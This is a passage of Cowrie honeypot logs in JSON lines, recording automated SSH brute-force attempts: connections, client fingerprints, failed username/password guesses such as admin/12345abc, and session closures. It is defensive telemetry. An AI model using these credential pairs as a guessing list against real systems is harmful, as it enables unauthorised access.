.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:07.830070Z","src_ip":"58.69.56.44","session":"16e3e945b7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:08.796952Z","src_ip":"58.69.56.44","session":"16e3e945b7f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:10.034029Z","src_ip":"58.69.56.44","session":"16e3e945b7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":48420,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e67aa789875","protocol":"ssh","message":"New connection: 40.81.244.142:48420 (159.203.135.109:22) [session: 0e67aa789875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:29.582690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:29.588424Z","src_ip":"40.81.244.142","session":"0e67aa789875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:29.776390Z","src_ip":"40.81.244.142","session":"0e67aa789875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Aa123456","message":"login attempt [amir/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:30.557784Z","src_ip":"40.81.244.142","session":"0e67aa789875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:31.749750Z","src_ip":"40.81.244.142","session":"0e67aa789875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38124,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c1b587ce3e","protocol":"ssh","message":"New connection: 194.59.206.2:38124 (159.203.135.109:22) [session: 45c1b587ce3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:43.807480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:44.188483Z","src_ip":"194.59.206.2","session":"45c1b587ce3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:44.191972Z","src_ip":"194.59.206.2","session":"45c1b587ce3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:45.107001Z","src_ip":"194.59.206.2","session":"45c1b587ce3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00443696975708,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:53.656255Z","src_ip":"87.90.84.206","session":"b8b7d33da4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00417232513428,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:56.994656Z","src_ip":"87.90.84.206","session":"f30027ded0b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":12278,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ee062d1685","protocol":"ssh","message":"New connection: 222.167.161.198:12278 (159.203.135.109:22) [session: 35ee062d1685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:06.398247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:06.403190Z","src_ip":"222.167.161.198","session":"35ee062d1685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:06.680672Z","src_ip":"222.167.161.198","session":"35ee062d1685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":39804,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5b6081d757","protocol":"ssh","message":"New connection: 58.69.56.44:39804 (159.203.135.109:22) [session: 1b5b6081d757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:06.916832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:06.927618Z","src_ip":"58.69.56.44","session":"1b5b6081d757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:07.161222Z","src_ip":"58.69.56.44","session":"1b5b6081d757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:07.820936Z","src_ip":"222.167.161.198","session":"35ee062d1685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"q1w2e3r4","message":"login attempt [user1/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:08.148184Z","src_ip":"58.69.56.44","session":"1b5b6081d757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:09.100754Z","src_ip":"222.167.161.198","session":"35ee062d1685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:09.386935Z","src_ip":"58.69.56.44","session":"1b5b6081d757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":36026,"dst_ip":"159.203.135.109","dst_port":22,"session":"faeabffb29b8","protocol":"ssh","message":"New connection: 40.81.244.142:36026 (159.203.135.109:22) [session: faeabffb29b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:28.478601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:28.486408Z","src_ip":"40.81.244.142","session":"faeabffb29b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:28.673461Z","src_ip":"40.81.244.142","session":"faeabffb29b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"12345","message":"login attempt [vps/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:29.457339Z","src_ip":"40.81.244.142","session":"faeabffb29b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:26:30.648342Z","src_ip":"40.81.244.142","session":"faeabffb29b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":56986,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af854b90986","protocol":"ssh","message":"New connection: 58.69.56.44:56986 (159.203.135.109:22) [session: 3af854b90986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:03.554429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:03.559292Z","src_ip":"58.69.56.44","session":"3af854b90986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:03.794712Z","src_ip":"58.69.56.44","session":"3af854b90986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hssuser","password":"hssuser","message":"login attempt [hssuser/hssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:04.753485Z","src_ip":"58.69.56.44","session":"3af854b90986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:05.986121Z","src_ip":"58.69.56.44","session":"3af854b90986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":14184,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4759c9ba85","protocol":"ssh","message":"New connection: 222.167.161.198:14184 (159.203.135.109:22) [session: 9c4759c9ba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:10.772014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:10.795987Z","src_ip":"222.167.161.198","session":"9c4759c9ba85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:11.072359Z","src_ip":"222.167.161.198","session":"9c4759c9ba85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345abc","message":"login attempt [admin/12345abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:12.204019Z","src_ip":"222.167.161.198","session":"9c4759c9ba85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:13.482755Z","src_ip":"222.167.161.198","session":"9c4759c9ba85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":40678,"dst_ip":"159.203.135.109","dst_port":22,"session":"f453c62d5591","protocol":"ssh","message":"New connection: 96.70.252.227:40678 (159.203.135.109:22) [session: f453c62d5591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:16.561729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:16.575600Z","src_ip":"96.70.252.227","session":"f453c62d5591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:16.611069Z","src_ip":"96.70.252.227","session":"f453c62d5591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:16.779949Z","src_ip":"96.70.252.227","session":"f453c62d5591","protocol":"ssh"}
